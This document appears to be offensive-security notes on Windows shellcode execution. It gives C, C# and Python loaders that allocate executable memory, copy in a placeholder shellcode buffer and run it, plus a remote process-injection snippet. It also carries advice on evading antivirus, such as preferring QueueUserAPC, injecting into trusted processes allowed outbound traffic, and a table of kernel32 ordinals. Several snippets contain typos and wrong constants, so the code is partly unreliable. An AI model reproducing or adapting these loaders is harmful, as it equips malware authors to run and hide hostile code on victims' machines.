Win32 API
Use QueueUserApc instead of CreateRemoteThread
try avoid:
CreateRemoteThread
SetThreadContect
RtlCreateUserThread
VirtualAlloc:
C#:
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
LPVOID lpvAddr;
HANDLE hHand;
DWORD dwWaitResult;
DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";
lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}
Python:
RWX:
import ctypes
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x20),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
RX:
import ctypes
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x10),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
ctypes = WinAPI interaction
VirtualAlloc = memory allocation
VirtualProtect =
HeapCreate/ HeapAlloc:
could work for AV evasion, but has to run as RWX
using system;
using System.Net;
using System.Net.Sockets;
using System.Runting.InteropServices;
using System.Threading;
namespace slksdf
{
class ajksnlksdf
{
[DllImport("Kernel32")]
private static extern UInt32 HeapCreate(UInt32 HeapCreate1,UInt32 HeapCreate2, UInt32 HeapCreate3);
[DllImport("Kernel32")]
private static extern UInt32 HeapAlloc(UInt32 HeapAlloc1, UInt32 HeapAlloc2, UInt32 HeapAlloc3);
[DllImport("Kernel32")]
private static extern UInt32 RtlMoveMemory(UInt32 RtlMoveMemory1, byte[] RtlMoveMemoryByte, UInt32 RtlMoveMemory3);
[DllImport("Kernel32")]
private static extern IntPtr CreateThread(UInt32 CreateThread1,UInt32 CreateThread2, UInt32 CreateThread3, IntPtr CreateThread4, UInt32 CreateThread5, ref UInt32 CreateThread6);
[DllImport("Kernel32")]
private static extern IntPtr WaitForSingleObject(IntPtr WaitForSingleObject1, UInt32 WaitForSingleObject2);
static void main()
{
byte[] BYTE = { SHELLCODE };
UInt32 CreateHeap = HeapCreate(0x00040000, (UInt32)BYTE.Length, 0);
UInt32 AllocHeap = HeapAlloc(CreateHeap, 0x00000008, (UInt32)BYTE.Length);
RtlMoveMemory(HeapAlloc, BYTE, (UInt32)Byte.Length);
UInt32 Zero = 0;
IntPtr ThreadCreate = CreateThread(0, 0, AllocHeap, IntPtr.Zero, 0, ref Zero);
WaitForSingleObject(ThreadCreate, 0xFFFFFFF);
}
}
}
Python:
import ctypes
shellcode = b'SHELLCODE'
HeapCreateOutput = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(shellcode)*2),ctypes.c_int(0))
HeapAllocOutput = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(HeapCreateOutput),ctypes.c_int(0x00000008),ctypes.c_int(len(shellcode)))
ShellCodeBuffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(HeapAllocOutput),ShellCodeBuffer,ctypes.c_int(len(shellcode)))
CreateThreadOutput = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(HeapAllocOutput),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CreateThreadOutput),ctypes.c_int(-1))
ProcessInjection/ VirtualAllocEx:
expects a handle to a process - great for shellcode injecting into process, imports as follows:
VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, *lpNumberOfBytesWritten)
CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId)
VirtualProtectEx()
try run against something in userland i.e:
JuSched
PrintSpoolService
OneDrive/Dropbox
Service that is allowed for outbound connection
Python:
import ctypes
hex1 = 0x40
hex2 = 0x1F0FFF
hex3 = 0x00001000
kernel32_import = ctypes.windll.kerner32
shellcode = b"SHELLCODE"
process_numer = 309
shellcode_length = len(shellcode)
OpenProcess_handle = kernel32_import.OpenProcess(hex2, False, process_numer)
VirtualAllocEx_handle = kernel32_import.VirualAllocEx(OpenProcess_handle, 0, shellcode_length, hex3, hex1)
kernel32_import.WriteProcessMemory(OpenProcess_handle, VirtualAllocEx_handle, shellcode, shellcode_length, 0)
kernel32_import.CreateRemoteThread(OpenProcess_handle, None, 0, VirtualAllocEx_handle, 0, 0, 0)
QUserAPC? - Execute code that you inject into remote process - way more used that CreateRemotethread
Ordinal Values:
API Call
Windows 7
Windows 10
Windows 11
Kernel32.dll (system32)
Kernel32.dll (system32)
Kernel32.dll (system32)
VirtualAlloc
1279
1520
VirtualAllocEx
1521
CreateThread
182
263
CreateRemoteThread
251
RtlMoveMemory
1059
1269
WaitForSingleObject
1295
1537
WaitForSingleObjectEx
1538
VirtualLock
1284
1525
QueueUserApc
1145
Last updated